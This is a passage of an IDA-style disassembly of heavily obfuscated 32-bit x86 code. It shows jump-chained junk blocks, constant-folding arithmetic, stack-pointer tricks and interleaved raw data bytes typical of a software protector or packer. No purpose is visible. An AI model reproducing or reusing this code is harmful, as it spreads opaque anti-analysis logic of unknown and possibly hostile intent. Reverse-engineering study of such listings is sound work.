		mov	[esp], cx
		sub	esp, 4
		mov	[esp], edx
		push	cx
		mov	cl, 69h
		jmp	loc_5A0327
; ---------------------------------------------------------------------------


loc_59F715:				; CODE XREF: sdfs____:005A4D28j
		mov	esi, [esp]
		add	esp, 4
		add	esi, ecx
		jmp	loc_5A28F1
; ---------------------------------------------------------------------------


loc_59F725:				; CODE XREF: sdfs____:005AC188j
		pop	esi
		sub	esi, 394C468Ch
		pop	ebp
		and	eax, esi
		push	dword ptr [esp]
		mov	esi, [esp]
		jmp	loc_5AE04A
; ---------------------------------------------------------------------------
		dw 4BBh
		dd 52000000h, 613699BAh, 7CEA816Fh, 0C10EB1D7h,	0E2C108EAh
		dd 4EC8102h, 89000000h,	0DFB9240Ch, 41644953h, 500CE981h
		dd 0C1836ED0h, 0E3E981FFh, 81590742h, 1377EAF1h, 1CC1810Bh
		dd 31C8227Ah, 0C28159CAh, 0D24AC20Ch, 8CE9D601h
		db 60h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59F78B:				; CODE XREF: sdfs____:0059E6E7j
		inc	edx
		shl	edx, 6
		jnz	loc_59E56D
		jmp	loc_5A8D9A
; ---------------------------------------------------------------------------
		dw 0C8Bh
		dd 0E6895624h
; ---------------------------------------------------------------------------


loc_59F7A0:				; CODE XREF: sdfs____:005A9700j
		add	esp, 4
		add	ebp, 4
		push	esi
		jmp	loc_5995EB
; ---------------------------------------------------------------------------


loc_59F7B2:				; CODE XREF: sdfs____:005B03AEj
		add	ebx, 24EB4526h
		mov	esi, [esp]
		push	edx
		push	esp
		pop	edx
		push	edi
		mov	edi, 4
		add	edx, edi
		pop	edi
		push	ebp
		mov	ebp, 4
		jmp	loc_59B8A6
; ---------------------------------------------------------------------------


loc_59F7D2:				; CODE XREF: sdfs____:005A3851j
		mov	[esp], edx
		push	3A5Ch
		mov	[esp], ebx
		sub	esp, 4
		jmp	loc_5A5C94
; ---------------------------------------------------------------------------


loc_59F7E8:				; CODE XREF: sdfs____:005AF9C4j
		add	ebx, ecx
		pop	ecx
		sub	eax, 1054596Eh
		jmp	loc_5ABEA4
; ---------------------------------------------------------------------------


loc_59F7F5:				; CODE XREF: sdfs____:005AC1B4j
		push	eax
		jmp	loc_5AA9F9
; ---------------------------------------------------------------------------


loc_59F7FB:				; CODE XREF: sdfs____:0059B191j
		jmp	loc_59F179
; ---------------------------------------------------------------------------
		dd 5C240487h, 405h, 42D00h, 4330000h, 404DE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59F816:				; CODE XREF: sdfs____:005B03F1j
		pop	esp
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		shr	eax, 18h
		xor	eax, ecx
		push	edi
		mov	edi, esp
		push	61F9h
		jmp	loc_5A8EF8
; ---------------------------------------------------------------------------
		dd 8341D1F7h, 3C8904ECh, 1A22E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59F842:				; CODE XREF: sdfs____:005A9382j
		not	edx
		sub	esp, 4
		jmp	loc_59A017
; ---------------------------------------------------------------------------


loc_59F84F:				; CODE XREF: sdfs____:005A2726j
		push	ecx
		mov	cl, 2Bh
		sub	esp, 2
		mov	[esp], dx
		push	40A1h
		mov	[esp], ebx
		jmp	loc_5A2602
; ---------------------------------------------------------------------------


loc_59F866:				; CODE XREF: sdfs____:0059E3C3j
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		sub	edx, esi
		pop	esi
		mov	ebx, edx
		jmp	loc_59DEE8
; ---------------------------------------------------------------------------


loc_59F87A:				; CODE XREF: sdfs____:005A6893j
		mov	[esp], eax
		push	edi
		mov	edi, 5A586C59h
		add	edi, 28FE6E0Bh
		jb	loc_59E61C
		jmp	loc_59FD2D
; ---------------------------------------------------------------------------


loc_59F894:				; CODE XREF: sdfs____:005A12E1j
		mov	edi, ecx
		pop	ecx
		add	edi, 2ABFF997h
		xor	eax, edi
		pop	edi
		push	eax
		mov	esi, [esp]
		add	esp, 4
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	ecx
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_59FA36
; ---------------------------------------------------------------------------
		db 89h
		dd 5756242Ch, 9E7F0E68h, 0F7815F5Bh, 166A4749h,	3C8BFE89h
		dd 4EC8324h, 0E9241489h, 938Eh,	0F55C7CB9h, 1C18157h, 51000000h
		dd 592404FFh, 3677E981h, 31E92BBBh
		db 48h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59F90F:				; CODE XREF: sdfs____:005A0FDDj
		sub	edi, 0FFFFFFFFh
		and	edi, 65F847ADh
		push	edx
		mov	edx, 601514F2h
		xor	edi, edx
		pop	edx
		xor	edi, 45BD17D3h
		add	eax, edi
		pop	edi
		add	eax, 4
		push	eax
		push	dword ptr [esp+4]
		jmp	loc_5A0F3B
; ---------------------------------------------------------------------------


loc_59F93C:				; CODE XREF: sdfs____:005A42E3j
		push	eax
		push	ebx
		jmp	loc_5A9A0A
; ---------------------------------------------------------------------------


loc_59F943:				; CODE XREF: sdfs____:005A4188j
		mov	esp, [esp]
		xchg	edx, [esp]
		mov	esp, [esp]
		jmp	loc_5AC337
; ---------------------------------------------------------------------------
		db 87h,	1Ch, 24h
		dd 243C895Ch, 4BFh, 247C0100h, 9E95F04h, 53000082h, 12E95B58h
		db 0F1h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_59F96F:				; CODE XREF: sdfs____:005AFCEFj
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_59EF08
; ---------------------------------------------------------------------------


loc_59F983:				; CODE XREF: sdfs____:005A38DCj
		mov	edi, 676C4DE7h
		sub	edi, 24D2BAD0h
		jmp	loc_59958C
; ---------------------------------------------------------------------------


loc_59F993:				; CODE XREF: sdfs____:005A1BB1j
		sub	edx, 77F83B37h
		add	edx, 27D61C8Fh
		add	edx, eax
		sub	edx, 27D61C8Fh
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_599BF6
; ---------------------------------------------------------------------------


loc_59F9B5:				; CODE XREF: sdfs____:0059D2F1j
		sub	eax, ecx
		pop	ecx
		jmp	loc_5A0E46
; ---------------------------------------------------------------------------
		db 0Fh,	89h, 54h
		dd 0E900004Eh, 0C056h, 4C6815Eh
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_59F9CF:				; CODE XREF: sdfs____:loc_5A05C5j
		add	eax, 0D8D7B7A8h
		mov	edx, eax
		pop	eax
		or	edx, 540C0139h
		jmp	loc_5ADEFA
; ---------------------------------------------------------------------------
		dw 0F1BDh
aZ1s@		db '^Z1é:@',0
		align 4


loc_59F9EC:				; CODE XREF: sdfs____:005A6713j
		mov	esi, 221256A6h
		neg	esi
		jmp	loc_5A9296
; ---------------------------------------------------------------------------


loc_59F9F8:				; CODE XREF: sdfs____:005A3433j
		sub	edi, 73F6144Ch
		mov	esi, [esp]
		add	esp, 4
		push	edi
		push	dword ptr [esp+4]
		jmp	loc_5AE602
; ---------------------------------------------------------------------------
		dw 815Bh
		dd 4C4h, 0BE565300h, 2,	15EF389h, 2434FFDFh, 0E689565Bh
		dd 4BF57h, 0FE010000h, 0DB35E95Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59FA36:				; CODE XREF: sdfs____:0059F8CEj
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ecx
		push	edi
		mov	edi, 4
		add	ecx, edi
		mov	edi, [esp]
		add	esp, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		and	eax, esi
		pop	esi
		shr	eax, 0Ah
		xor	eax, ecx
		push	7242h
		mov	[esp], edx
		mov	edx, esp
		push	ebx
		mov	ebx, 430A5BB3h
		add	ebx, 1E164CFDh
		shl	ebx, 6
		or	ebx, 56421B84h
		shr	ebx, 5
		xor	ebx, 37CF291Fh
		push	esi
		push	ebp
		mov	ebp, 1D121BA8h
		mov	esi, 182A5D3Fh
		add	esi, ebp
		pop	ebp
		xor	ebx, esi
		pop	esi
		jmp	loc_5A5748
; ---------------------------------------------------------------------------


loc_59FAA7:				; CODE XREF: sdfs____:0059F053j
		add	esi, 32743F76h
		pop	edx
		push	ebx
		jmp	loc_5AC833
; ---------------------------------------------------------------------------


loc_59FAB4:				; CODE XREF: sdfs____:005A5035j
		mov	ax, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_5A81CC
; ---------------------------------------------------------------------------


loc_59FAC6:				; CODE XREF: sdfs____:0059AE77j
		mov	edi, ecx
		pop	ecx
		push	edi
		pop	eax
		pop	edi
		push	eax
		not	dword ptr [esp]
		jmp	loc_5AA24E
; ---------------------------------------------------------------------------


loc_59FAD5:				; CODE XREF: sdfs____:005A0B24j
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		or	ebp, 4649045Fh
		ja	loc_5A6BE6
		shl	ebp, 8
		jnp	loc_5A0C04
		push	edx
		jmp	loc_5AF618
; ---------------------------------------------------------------------------
		db 81h
		dd 4C7h, 4EF8100h, 87000000h, 248B243Ch, 24148924h, 0C2815A54h
		dd 4, 0BE18E956h, 53660000h, 1969E9h
		db 0
; ---------------------------------------------------------------------------


loc_59FB21:				; CODE XREF: sdfs____:0059B485j
		push	1DFF7018h
		pop	edx
		not	edx
		sub	edx, 0ACC53A41h
		mov	eax, edx
		mov	edx, [esp]
		add	esp, 4
		dec	eax
		push	edi
		mov	edi, 5BCB0BD2h
		jmp	loc_599117
; ---------------------------------------------------------------------------


loc_59FB43:				; CODE XREF: sdfs____:005A2C79j
					; sdfs____:005AF4B6j
		mov	ebp, 4
		add	edx, ebp
		pop	ebp
		jmp	loc_59F1F3
; ---------------------------------------------------------------------------


loc_59FB50:				; CODE XREF: sdfs____:005A2244j
					; sdfs____:005A6DD1j
		push	ecx
		mov	ecx, 37CA0905h
		add	[esp+4], ecx
		jmp	loc_5A2803
; ---------------------------------------------------------------------------


loc_59FB5F:				; CODE XREF: sdfs____:005B0401j
		push	edi
		mov	edi, 4
		add	esi, edi
		pop	edi
		add	esi, 4
		jmp	loc_599872
; ---------------------------------------------------------------------------


loc_59FB73:				; CODE XREF: sdfs____:005A6B40j
		mov	ebx, eax
		pop	eax
		and	eax, ebx
		mov	ebx, [esp]
		push	edx
		jmp	loc_5A272B
; ---------------------------------------------------------------------------


loc_59FB81:				; CODE XREF: sdfs____:005AE8E6j
		add	ecx, edx
		mov	edx, [esp]
		push	eax
		push	esp
		pop	eax
		jmp	loc_5A0BB9
; ---------------------------------------------------------------------------


loc_59FB8E:				; CODE XREF: sdfs____:005ABCB0j
		push	6E38h
		mov	[esp], esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_59AA79
; ---------------------------------------------------------------------------
		dw 34FFh
aSb		db '$éBØ',0
		align 2


loc_59FBAE:				; CODE XREF: sdfs____:0059A06Fj
		pop	eax
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		jmp	loc_5AE397
; ---------------------------------------------------------------------------
		dw 1431h
		dd 24143324h, 0FE24248Bh, 0E99C240Ch, 0FFFF953Bh
; ---------------------------------------------------------------------------


loc_59FBD4:				; CODE XREF: sdfs____:0059EC02j
		add	dword ptr [esp], 4
		pop	ecx
		jmp	loc_59A2F3
; ---------------------------------------------------------------------------


loc_59FBE1:				; CODE XREF: sdfs____:0059D672j
		shl	edx, 5
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_5A7085
; ---------------------------------------------------------------------------


loc_59FBEF:				; CODE XREF: sdfs____:005A4887j
		mov	ebp, 75303C32h
		sub	ebp, 2783EA91h
		sub	ebx, ebp
		pop	ebp
		jmp	loc_5A6AC4
; ---------------------------------------------------------------------------


loc_59FC02:				; CODE XREF: sdfs____:005A31DBj
		push	ebx
		push	ecx
		push	0F6F7CBAh
		mov	ecx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebp
		push	ecx
		push	1D471FFDh
		mov	ecx, [esp]
		add	esp, 4
		inc	ecx
		shr	ecx, 6
		and	ecx, 50D50198h
		jnp	loc_5A38C0
		sub	ecx, 0F538BB1Fh
		push	ecx
		jmp	loc_5A50BF
; ---------------------------------------------------------------------------


loc_59FC40:				; CODE XREF: sdfs____:005A4B47j
		add	eax, 75F90741h
		add	eax, edi
		sub	eax, 75F90741h
		push	5177h
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], esi
		push	62A1h
		jmp	loc_59E5BB
; ---------------------------------------------------------------------------


loc_59FC67:				; CODE XREF: sdfs____:005ACECEj
		neg	dl
		add	dl, 0FFh
		add	dl, 0E1h
		or	cl, dl
		pop	edx
		jmp	loc_5AE4DE
; ---------------------------------------------------------------------------


loc_59FC77:				; CODE XREF: sdfs____:005A2FE3j
		xor	ecx, eax
		not	eax
		jmp	loc_5A28DD
; ---------------------------------------------------------------------------


loc_59FC80:				; CODE XREF: sdfs____:005A202Dj
		pop	ebp
		xor	edx, 12F011D8h
		sub	edx, 16DB3F50h
		add	ebp, edx
		pop	edx
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_5AB079
; ---------------------------------------------------------------------------


loc_59FC9E:				; CODE XREF: sdfs____:005AB122j
		mov	edx, [esp]
		jmp	loc_5AA768
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 0B92C04h, 8BB904E8h,	0C483240Ch, 0B3535204h,	0E9DE885Dh
		dd 0B492h
; ---------------------------------------------------------------------------


loc_59FCC0:				; CODE XREF: sdfs____:005A5855j
		add	esp, 4
		sub	eax, 0AD81E94Ah
		xor	esi, eax
		push	dword ptr [esp]
		jmp	loc_5ABADF
; ---------------------------------------------------------------------------


loc_59FCD2:				; CODE XREF: sdfs____:0059BF8Ej
		push	edi
		mov	edi, esi
		mov	eax, edi
		pop	edi
		jmp	loc_5AECA8
; ---------------------------------------------------------------------------


loc_59FCDD:				; CODE XREF: sdfs____:0059B8B7j
		mov	[esp], edx
		push	esp
		pop	edx
		push	edi
		mov	edi, 35E548E7h
		shr	edi, 7
		sub	edi, 6BCA8Dh
		add	edx, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_599D72
; ---------------------------------------------------------------------------


loc_59FD01:				; CODE XREF: sdfs____:0059D702j
		shr	dl, 2
		neg	dl
		xor	dl, 0FCh
		jmp	loc_5A069C
; ---------------------------------------------------------------------------


loc_59FD0E:				; CODE XREF: sdfs____:0059C177j
		pop	ax
		push	ax
		push	edx
		mov	dh, 0F8h
		inc	dh
		sub	dh, 0FAh
		mov	ah, dh
		mov	edx, [esp]
		add	esp, 4
		sub	ch, ah
		pop	ax
		push	edx
		push	ecx
		jmp	loc_5A6BF5
; ---------------------------------------------------------------------------


loc_59FD2D:				; CODE XREF: sdfs____:0059F88Fj
		neg	edi
		jbe	loc_59A183
		sub	edi, 5813B25Bh
		mov	eax, edi
		pop	edi
		mov	ah, 0Fh
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_59B712
; ---------------------------------------------------------------------------
		db 1
aScs		db 'Æéc˜',0
		align 2


loc_59FD62:				; CODE XREF: sdfs____:0059F167j
		sub	eax, edi
		mov	edi, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], esi
		mov	esi, esp
		push	0D5Fh
		mov	[esp], edx
		mov	edx, 6CBC4957h
		add	edx, 9343B6ADh
		add	esi, edx
		mov	edx, [esp]
		add	esp, 4
		sub	esi, 4
		push	4B7Eh
		jmp	loc_5AD782
; ---------------------------------------------------------------------------


loc_59FDA0:				; CODE XREF: sdfs____:00599F01j
		xor	eax, edx
		jmp	loc_5A1AB1
; ---------------------------------------------------------------------------


loc_59FDA7:				; CODE XREF: sdfs____:0059A9CEj
		push	ecx
		jmp	loc_5A9A72
; ---------------------------------------------------------------------------
		db 81h,	0EEh, 0DBh
		dd 0E90E4D26h, 20A8h
; ---------------------------------------------------------------------------


loc_59FDB8:				; CODE XREF: sdfs____:005A7226j
		and	eax, ebp
		pop	ebp
		or	edx, eax
		shl	edx, 1
		push	dword ptr [edi+24h]
		push	3018h
		mov	[esp], edx
		pop	dword ptr [edi+24h]
		jmp	loc_5AE2D8
; ---------------------------------------------------------------------------
		dw 215Fh
		dd 240C8BCAh, 8104C483h, 1EAh, 0E2D14A00h, 8106E2C1h, 13104F2h
		dd 8BD301E0h, 0C4812414h, 4, 0F23AE951h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59FDFE:				; CODE XREF: sdfs____:0059BE4Ej
					; sdfs____:loc_59EA30j
		add	ebx, 80C66AA1h
		add	ecx, ebx
		jmp	loc_5B024C
; ---------------------------------------------------------------------------


loc_59FE0B:				; CODE XREF: sdfs____:005A81AFj
		sub	eax, 0AFF59EA6h
		mov	ecx, eax
		jmp	loc_5A9109
; ---------------------------------------------------------------------------


loc_59FE17:				; CODE XREF: sdfs____:0059D100j
		add	bl, 0A4h
		sub	bl, 4Dh
		jmp	loc_5A9800
; ---------------------------------------------------------------------------


loc_59FE22:				; CODE XREF: sdfs____:0059B366j
		push	eax
		mov	eax, 642039DDh
		or	ebp, eax
		pop	eax
		jmp	loc_59B285
; ---------------------------------------------------------------------------


loc_59FE30:				; CODE XREF: sdfs____:005AFE2Cj
		jmp	loc_59910F
; ---------------------------------------------------------------------------


loc_59FE35:				; CODE XREF: sdfs____:005A78FCj
		xor	ebx, edi
		jmp	loc_5A44B6
; ---------------------------------------------------------------------------


loc_59FE3C:				; CODE XREF: sdfs____:0059CF05j
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		mov	esp, [esp]
		inc	byte ptr [esp]
		pushf
		jmp	loc_59910F
; ---------------------------------------------------------------------------


loc_59FE51:				; CODE XREF: sdfs____:005A2FA3j
		push	ebx
		mov	ebx, 0A8BB8355h
		add	eax, ebx
		pop	ebx
		xor	esi, eax
		jmp	loc_5A3230
; ---------------------------------------------------------------------------


loc_59FE61:				; CODE XREF: sdfs____:005A44C7j
		add	al, bh
		pop	bx
		push	ebx
		push	edx
		mov	dh, 0F7h
		mov	bl, dh
		pop	edx
		sub	al, bl
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_5AE3D3
; ---------------------------------------------------------------------------


loc_59FE79:				; CODE XREF: sdfs____:005A9EBAj
					; sdfs____:005AF1C1j
		add	esp, [edx+38h]
		jmp	loc_59A493
; ---------------------------------------------------------------------------


loc_59FE81:				; CODE XREF: sdfs____:005AC4A8j
		jo	loc_5AC6B0
		xor	ebp, 702B565Fh
		jnp	loc_5B001C
		jmp	loc_59D5CB
; ---------------------------------------------------------------------------
aHX		db '^h',0Dh,'x',0
		align 2


loc_59FE9E:				; CODE XREF: sdfs____:005A65AEj
		push	dword ptr [esp+4]
		mov	ecx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		add	[esp], ax
		pushf
		jmp	loc_59910F
; ---------------------------------------------------------------------------


loc_59FEB8:				; CODE XREF: sdfs____:005A765Aj
		add	edi, 32217Ah
		inc	edi
		xor	edi, 0B5DB9A52h
		add	ebx, edi
		pop	edi
		add	ebx, 4
		jmp	loc_5ABE5F
; ---------------------------------------------------------------------------


loc_59FED3:				; CODE XREF: sdfs____:loc_59CA17j
		add	edi, 0DDF70000h
		and	eax, edi
		push	dword ptr [esp]
		jmp	loc_5A4BD0
; ---------------------------------------------------------------------------


loc_59FEE3:				; CODE XREF: sdfs____:0059E7C8j
		add	ebp, 4
		jmp	loc_5AFF6D
; ---------------------------------------------------------------------------
		dw 2BBh
		dd 1000000h, 64E95BDFh
		db 0CAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59FEFB:				; CODE XREF: sdfs____:loc_5A0F5Dj
		neg	ebx
		jbe	loc_5A4E54
		sub	ebx, 0FACFB226h
		push	ebx
		mov	bl, cl
		mov	ebx, edi


loc_59FF0E:				; CODE XREF: sdfs____:005A1685j
		push	ecx
		pop	edi
		pop	ecx
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, esp
		push	edx
		mov	edx, 2F603AF7h
		xor	edx, 78DA0B91h
		not	edx
		shr	edx, 1
		jmp	loc_5ADC6A
; ---------------------------------------------------------------------------


loc_59FF35:				; CODE XREF: sdfs____:005AA2DAj
		mov	edx, 54960720h
		xor	edx, 6E98202Fh
		jl	loc_5A45CC
		shr	edx, 3
		inc	edx
		jmp	loc_5A69F1
; ---------------------------------------------------------------------------
		db 89h
		dd 4B82404h, 52000000h,	0A4DABBAh, 0E9D3014Fh, 0FFFF9BCCh
; ---------------------------------------------------------------------------


loc_59FF64:				; CODE XREF: sdfs____:005A6573j
		xor	eax, 43BD296Fh
		dec	eax
		jz	loc_5A94B6
		xor	eax, 185E43FDh
		sub	[esp+4], eax
		jmp	loc_5AA917
; ---------------------------------------------------------------------------


loc_59FF7E:				; CODE XREF: sdfs____:005AAF75j
		xor	ebp, [esp]
		jmp	loc_5A44D3
; ---------------------------------------------------------------------------
		dw 0C589h
		dd 8124048Bh, 4C4h, 6CD8100h, 0F32E15Bh, 1B8489h, 0C0CD8100h
		dd 81444B5Eh, 1C732AF5h, 51EA8908h
; ---------------------------------------------------------------------------


loc_59FFAC:				; CODE XREF: sdfs____:005A17DBj
		sub	dword ptr [esp], 1
		pop	esi
		push	ecx
		mov	ecx, 50B60DE0h
		and	esi, ecx
		mov	ecx, [esp]
		add	esp, 4
		add	esi, 1
		push	edx
		mov	edx, 0C7E083Fh
		add	esi, edx
		jmp	loc_5A7F02
; ---------------------------------------------------------------------------


loc_59FFD2:				; CODE XREF: sdfs____:005AB9E1j
		mov	ecx, 60CA0C58h
		shl	ecx, 3
		not	ecx
		inc	ecx
		sub	ecx, 427D0D0Dh
		add	ecx, 8323D46Dh
		add	esi, ecx
		pop	ecx
		push	edi
		jmp	loc_5A3BBF
; ---------------------------------------------------------------------------


loc_59FFF2:				; CODE XREF: sdfs____:005999E1j
					; sdfs____:005A2743j
		sub	ecx, edx
		jmp	loc_5A89AC
; ---------------------------------------------------------------------------


loc_59FFF9:				; CODE XREF: sdfs____:0059C167j
		xor	al, 0B4h
		jg	loc_5A1EBD
		inc	al
		jns	loc_5AD015
		push	ecx
		jmp	loc_5AC174
; ---------------------------------------------------------------------------


loc_5A000F:				; CODE XREF: sdfs____:005A2215j
		mov	edx, 0C59590C3h
		add	ebp, edx
		pop	edx
		add	esi, ebp
		pop	ebp
		jmp	loc_5A73AD
; ---------------------------------------------------------------------------


loc_5A001F:				; CODE XREF: sdfs____:loc_5A05BAj
		jmp	loc_5A4EFA
; ---------------------------------------------------------------------------


loc_5A0024:				; CODE XREF: sdfs____:0059D741j
		mov	esi, eax
		mov	eax, [esp]
		add	esp, 4
		xor	esi, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_5A8F3D
; ---------------------------------------------------------------------------


loc_5A003C:				; CODE XREF: sdfs____:005AB820j
		sub	ebx, edi
		sub	ebx, 3D420349h
		pop	edi
		mov	eax, ebx
		mov	ebx, [esp]
		push	edx
		mov	edx, esp
		push	ebp
		push	edi
		jmp	loc_59AD34
; ---------------------------------------------------------------------------
aNsqs		db '­éïé',0             ; DATA XREF: sdfs____:00599098o
		align 2
word_5A005A	dw 0EC81h		; DATA XREF: sdfs____:00598E4Co
		dd 4, 68240C89h, 3Ch, 7FC18159h, 8152DC28h, 9A3378E9h
		dd 81F9011Dh, 9A3378C1h, 0A3F7E91Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A0082:				; CODE XREF: sdfs____:0059E623j
		mov	ch, 9
		mov	dl, ch
		mov	ecx, [esp]
		add	esp, 4
		xor	dl, 0F8h
		jmp	loc_599C45
; ---------------------------------------------------------------------------
		db '\hØ<',0
		align 2
		dw 2C89h
		dd 2BD24h, 0EB010000h, 0C70E9h
		db 0
; ---------------------------------------------------------------------------


loc_5A00A9:				; CODE XREF: sdfs____:005A0489j
		add	esp, 4
		add	esp, 4
		movzx	ax, byte ptr [eax]
		push	60BFh
		mov	[esp], ebx
		push	esi
		jmp	loc_5A590A
; ---------------------------------------------------------------------------


loc_5A00C7:				; CODE XREF: sdfs____:005A2D29j
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_5AABA9
; ---------------------------------------------------------------------------


loc_5A00E2:				; CODE XREF: sdfs____:005A2145j
		sub	esp, 4
		mov	[esp], ebx
		push	dword ptr [esp]
		pop	eax
		push	5A73h
		mov	[esp], esi
		mov	esi, esp
		push	ebx
		mov	ebx, 6EED555Bh
		neg	ebx
		shr	ebx, 3
		xor	ebx, 466A50E1h
		xor	ebx, 0B4A1Bh
		jmp	loc_5A8ECC
; ---------------------------------------------------------------------------
aRSb		db 'R¶¿éBÖ',0
		db 0
; ---------------------------------------------------------------------------


loc_5A011D:				; CODE XREF: sdfs____:0059CAEAj
		or	[edi+1Ch], ecx
		jmp	loc_5A9436
; ---------------------------------------------------------------------------
		db 0Fh,	89h, 4Ah
		dd 0E90000C7h, 2AADh, 0EEC0D6F6h, 0B1515004h, 0EC835A87h
		dd 241C8904h, 1FAFE9h, 70EB8100h, 43407F2Eh, 763A68h, 24048900h
		dd 0F51025B8h, 0C1D8F727h, 0A20D02E8h, 5572AC19h, 60445BBDh
		dd 0E9E801C2h, 0FFFFBEFEh, 3B04E95Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A0176:				; CODE XREF: sdfs____:005ABA33j
		sub	eax, 0F1B5C756h
		jmp	loc_59D5CB
; ---------------------------------------------------------------------------


loc_5A0180:				; CODE XREF: sdfs____:loc_5AC70Aj
		jmp	loc_5A0EC4
; ---------------------------------------------------------------------------
		db 89h,	1Ch, 24h
		dd 0B850E389h, 4, 48BC301h, 4C48124h, 51000000h, 0D4CE9h
		dd 47E95D00h
		db 3, 2	dup(0)
; ---------------------------------------------------------------------------


loc_5A01A7:				; CODE XREF: sdfs____:005A07DEj
		sub	ebx, ecx
		pop	ecx
		mov	ecx, [esp]
		add	esp, 4
		push	edi
		mov	edi, esp
		push	ecx
		mov	ecx, 4
		add	edi, ecx
		jmp	loc_5AB9F3
; ---------------------------------------------------------------------------


loc_5A01C3:				; CODE XREF: sdfs____:loc_5A80D6j
		push	edx
		jmp	loc_5A19AE
; ---------------------------------------------------------------------------
		db 54h,	0E9h, 5Ch
		db 0ABh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A01CF:				; CODE XREF: sdfs____:005A68DCj
		pop	dword ptr [esp]
		push	ebx
		jmp	loc_59CBE7
; ---------------------------------------------------------------------------
		dd 0BF243C89h, 39750459h, 23F0CF81h, 0EFC13C09h, 467EE903h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A01EE:				; CODE XREF: sdfs____:005A4915j
		mov	edx, [esp]
		jmp	loc_5ACF56
; ---------------------------------------------------------------------------


loc_5A01F6:				; CODE XREF: sdfs____:005A5C65j
		pop	ecx
		jmp	loc_5A2969
; ---------------------------------------------------------------------------
		dd 0C045802Dh, 5E8293Ah, 3AC04580h, 0FAF2E95Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A020E:				; CODE XREF: sdfs____:0059C386j
		and	ebx, 7D6F3A68h
		add	ebx, 245F09A7h
		mov	ecx, ebx
		pop	ebx
		mov	edi, ecx
		mov	ecx, [esp]
		add	esp, 4
		sub	eax, edi
		mov	edi, [esp]
		add	esp, 4
		add	eax, 0B86661h
		sub	eax, 740E465Fh
		add	eax, ebp
		push	esi
		mov	esi, 0FC004A7h
		sub	esi, 0AD838672h
		dec	esi
		push	eax
		mov	eax, 4EB7FE6h
		add	esi, 3133018Dh
		sub	esi, eax
		jmp	loc_5AEC7B
; ---------------------------------------------------------------------------


loc_5A025C:				; CODE XREF: sdfs____:005A9BF0j
		push	7FF1h
		mov	[esp], edx
		mov	dh, 6Dh
		or	dh, 0E4h
		inc	dh
		push	cx
		jmp	loc_59C979
; ---------------------------------------------------------------------------


loc_5A0272:				; CODE XREF: sdfs____:0059A5B2j
		push	edi
		jmp	loc_5A51D7
; ---------------------------------------------------------------------------


loc_5A0278:				; CODE XREF: sdfs____:005A6A83j
		push	ebx
		jmp	loc_5A51A0
; ---------------------------------------------------------------------------


loc_5A027E:				; CODE XREF: sdfs____:005AABF7j
		pop	esp
		xor	ecx, 1A7A565Eh
		mov	ebx, ecx
		pop	ecx
		sub	ecx, 67AB0EC0h
		add	ecx, ebx
		add	ecx, 67AB0EC0h
		jmp	loc_5A5A6A
; ---------------------------------------------------------------------------


loc_5A029B:				; CODE XREF: sdfs____:005AADC1j
		xchg	bl, [esp]
		not	bl
		xchg	bl, [esp]
		mov	ebx, [esp]
		add	esp, 4
		inc	bl
		push	edx
		mov	dh, 0
		inc	dh
		jmp	loc_5A9EC5
; ---------------------------------------------------------------------------


loc_5A02B5:				; CODE XREF: sdfs____:0059D1F0j
		dec	ecx
		neg	ecx
		dec	ecx
		not	ecx
		push	eax
		mov	eax, 543F765Ah
		xor	ecx, eax
		jmp	loc_5AFFF5
; ---------------------------------------------------------------------------
		dd 4BEh, 5EF30100h, 0E904EB83h,	7E0Ah
; ---------------------------------------------------------------------------


loc_5A02D8:				; CODE XREF: sdfs____:0059B61Cj
		sub	cx, bx
		pop	ebx
		sub	ax, cx
		jmp	loc_5A4691
; ---------------------------------------------------------------------------
